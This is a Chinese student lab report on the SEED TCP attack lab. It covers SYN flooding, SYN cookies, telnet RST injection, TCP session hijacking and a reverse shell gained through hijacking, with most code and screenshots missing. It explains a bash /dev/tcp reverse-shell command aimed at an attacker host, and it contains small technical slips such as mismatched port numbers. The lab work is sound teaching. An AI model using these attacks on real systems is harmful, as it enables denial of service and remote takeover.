一、 作业题目
TCP攻击实验
二、 实验步骤及结果
1. 实验环境
拓扑结构:

关于容器启动:
使用命令dcbuild构建镜像。
使用命令dcup,dcdown控制容器启动与关闭。
使用命令dockps查看容器id,使用命令dcsh 转到容器。
关于容器启动:
共享文件夹:攻击机与主机共享文件夹volumes。
主机模式:攻击机使用主机模式可以访问虚拟机的所有网络接口。
Seed账户:
在所有容器中都创建了一个名为seed的账户,它的密码是dees。它可以被远程登录。
SYN洪泛攻击概述:
SYN泛洪攻击是DOS的一种形式,攻击者向受害者的TCP端口发送大量伪造源IP的SYN请求,但是不完成整个连接,这样受害者存储半连接的队列被充满,无法接收正常用户的连接。

队列的大小被操作系统设置,一般来说计算机内存越大,这个值也就越大。在Ubuntu系统中可以使用下面命令编辑队列大小:

同时可以使用“netstat -nat”查看队列的使用情况,状态为“SYN-RECV”为半连接,完成3次握手状态为“ESTABLISHED”。
SYN Cookie策略:
默认情况下,这种策略在Ubuntu中被默认开启,你可以通过下面命令查看:

这里已经在容器设置的时候被关闭:

为了能够使用sysctl更改容器内的系统变量,容器需要配置“privileged:true”条目否则可能会受到“只读的文件”。
2. 使用Python发起攻击
完善已有的synflood.py,包括生成随机源IP地址,随机端口号和序列号(Seq)。这里使用getrandbits模块生成随机值即可:

进入攻击者容器运行程序:

可以看到运行程序之后,受害者出现很多随机IP/端口的TCP半连接:

这个时候使用telnet访问受害者,发现无法连接上受害者,说明SYN洪泛攻击生效:

如果你遇到问题,参考以下条目:
TCP缓存问题:
如果你之前使用telnet连接受害者机器,那么在受害者可能将你计入队列缓存中,Ubuntu将会使用队列的1/4的队列作为保存过去已经建立的连接,你可以通过下面命令对缓存进行查看/删除:

TCP重传问题:
如果受害者机器接收到SYN请求,那么它会回复一个ACK回应,如果超时没有接收到SYN+ACK请求,那么会重传一定次数的ACK回应。你可以想象如果这个数字过小,那么半连接的队列将会很快被清空,使得洪泛攻击失效。这个数字一般取决于内核参数,一般来说是5:

TCP队列大小:
如果TCP队列过大,而泛洪的速度过小,那么攻击将无法填满半连接队列,泛洪攻击无法生效。
你可以通过下面命令查看:

  1. 使用C发起攻击
    相比于Python,C能够更快的发送数据包,因为C具有更快的编译和运行速度,另外能够访问更加底层的协议栈。
    编译运行共享文件夹中的synflood.c文件,对受害者机器发起泛洪攻击:

可以看到队列迅速被占据:

使用telnet连接受害者机器,无法连接:

  1. 启用SYN Cookie对策
    对于不启用SYN Cookie策略的机器,TCP连接信息的保存像Web应用中的Session一样,由服务器保存连接信息,当连接量过大时严重占用内存。而启用SYN cookie以后像Web应用中的token技术,服务端发送token给客户端,连接信息的保管从服务器下发到各个终端。

可以使用下面命令开启这个策略:

开启之后我们再次运行程序,可以看到:

这里依然具有半连接队列,但是不同的是如果半连接队列没有空闲位置,服务端将不会在半连接队列中记录该连接请求,而是根据该连接请求的信息计算出一个特殊的 SYN+ACK 响应包,这样就能确保半连接队列满了以后仍然能够建立连接:

Telnet连接上的RST攻击
TCP的RST报文能够立即终止用户间的TCP连接,如果能够代替用户发送RST报文,那么就能够实现恶意断开正常TCP连接的攻击。
现在需要用手动和自动两种方式完善下面代码:

  1. 自动发起攻击
    分别进入容器user1和user2,使用容器user1对user2发起telnet连接(同时打开Warshark):

编写一个嗅探代码,在回调函数中发送RST报文:

运行程序,发现telnet连接已经被断开:

程序发送了三个RST报文,因为它每次捕获到目标地址为受害者机器(10.9.0.5)时发送RST报文:

可以在warshark中看看发生了什么,可以看到当10.9.0.6向受害者使用telnet协议发送数据触发程序发送RST报文,同时对方发送RST并断开连接:

TCP会话劫持:
攻击者通过像会话中注入恶意内容来劫持会话。如果当一个telnet会话被劫持以后,攻击者通常不满足于运行一些恶意命令比如删除文件,而是直接建立一个后门。
6. 自动实现TCP会话劫持
编写一个嗅探程序,当捕获到指定报文后,调用回调函数伪造一个恶意报文(生成一个txt文件)同样进行发送:(这里受害者是user1容器10.9.0.6)

在攻击者容器运行这个程序:

使用受害者容器telnet容器user1,发现容器victim已经无法进行操作:

进入容器user1发现已经成功通过会话劫持创建了文件并写入内容:

  1. 使用TCP会话劫持创建一个反弹shell
    编写反弹shell代码。/bin/bash:指定要执行的Shell程序是Bash。
    -i:告诉Bash要以交互模式启动,这样它就可以与用户进行命令行交互。
    /dev/tcp/10.9.0.1/9090:将Bash shell的输出重定向到TCP流中,并将该流发送到IP地址为10.9.0.1,端口号为8888的目标主机上。
    0<&1:将标准输入(stdin)重定向到标准输出(stdout),这样所有输入和输出都将通过TCP流发送到攻击者主机上。
    2>&1:将标准错误(stderr)重定向到标准输出(stdout),这样所有错误信息也会发送到攻击者主机上。

使用容器user1用telnet连接容器victim:

运行TCP劫持程序,对9090进行监听成功得到shell: